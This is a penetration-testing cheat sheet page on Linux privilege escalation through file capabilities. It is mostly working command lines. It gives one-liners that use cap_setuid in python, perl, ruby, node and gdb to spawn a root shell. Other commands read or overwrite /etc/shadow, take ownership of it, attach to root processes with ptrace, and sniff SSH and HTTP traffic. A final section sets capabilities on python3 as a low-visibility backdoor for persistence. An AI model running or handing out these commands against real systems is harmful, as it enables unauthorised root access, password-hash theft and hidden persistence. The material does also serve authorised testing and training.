PrivEsc - Capabilities
Sections PrivEsc - Capabilities
08 PrivEsc - Capabilities
Linux capabilities split root powers into pieces. A binary with the wrong cap = privesc.
i. Enumerate
getcap -r / 2>/dev/null
getcap -r / 2>/dev/null | grep -v '^/snap' ## filter snap noise
Per-file check:
getcap /usr/bin/python3
Process capabilities (running services):
cat /proc/self/status | grep Cap
## Decode CapEff:
capsh --decode=00000000a80425fb
ii. Dangerous capabilities and how to abuse
cap_setuid+ep, can setuid() to any UID, instant root:
## On python with cap_setuid:
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
## On perl:
perl -e 'use POSIX(setuid); POSIX::setuid(0); exec "/bin/bash";'
## On ruby:
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
## On node:
node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
## On gdb:
gdb -nx -ex 'python import os; os.setuid(0); os.execl("/bin/bash","bash")' -ex quit
cap_setgid+ep, change GID, useful when target file is group-readable by root group:
python3 -c 'import os; os.setgid(0); os.system("id; cat /etc/shadow")'
cap_dac_read_search+ep, read any file, ignore DAC checks. Doesn’t give shell directly but reads /etc/shadow, SSH keys, etc:
## On tar with cap_dac_read_search:
tar -cf /tmp/s.tar /etc/shadow
tar -xf /tmp/s.tar -O > /tmp/shadow
## On python:
python3 -c 'print(open("/etc/shadow").read())'
cap_dac_override+ep, write any file regardless of perms. Use it to write to /etc/shadow or /etc/passwd:
## Replace root's password hash:
openssl passwd -1 -salt x pass ## generate hash
python3 -c 'open("/etc/shadow","w").write("root:HASHHERE:18000:0:99999:7:::\n")'
su root
cap_chown+ep, change ownership of any file:
python3 -c 'import os; os.chown("/etc/shadow", os.getuid(), -1)'
## Now you own /etc/shadow, edit it directly
cap_sys_admin+ep, basically root. Many exploits, mount, namespace abuse:
## Mount a partition with no_root_squash semantics
## Or use it to bind-mount over critical files
cap_sys_ptrace+ep, attach to any process:
## Attach to a root process and inject shellcode, or read memory for secrets
gdb -p <root-pid>
## (gdb) call (int) system("/bin/sh -p")
cap_net_raw+ep, raw sockets, useful for sniffing and ARP spoofing on the box. Not direct root but a stepping stone:
tcpdump -i any -nA -s0 'tcp port 22 or tcp port 80'
cap_net_bind_service+ep, bind to ports < 1024. Use for SMB relay or fake services to phish other accounts:
python3 -m http.server 80
iii. Capability inheritance
A binary with caps +ei only gets caps if the calling process has them. +ep gets them every time. Look for +ep:
getcap -r / 2>/dev/null | grep '+ep'
iv. Common GTFOBins capability entries
Check GTFOBins -> Capabilities . The big ones:
- python / python3 / python2 -> setuid
- perl / ruby / node -> setuid
- gdb -> setuid
- tar -> dac_read_search
- openssl -> dac_read_search (read files via -engine)
- rsync -> dac_read_search
v. Custom binary with caps
Same as SUID inspection from 06 PrivEsc - SUID & Sudo :
file /usr/local/bin/custom
strings /usr/local/bin/custom | grep -E 'cap_|setuid|exec'
ltrace /usr/local/bin/custom 2>&1 | head
vi. Granting caps for persistence (after root)
Less detectable than SUID for persistence:
setcap cap_setuid+ep /usr/bin/python3
## Now any user can run: python3 -c 'import os; os.setuid(0); os.system("bash")'
Capabilities are stored in extended attributes (xattrs). Some backup tools strip them. SUID bit is more portable but more visible. Pick based on the engagement.
vii. Cleanup
## Remove caps you added
setcap -r /usr/bin/python3
## Verify
getcap /usr/bin/python3
See 13 Persistence & Cleanup .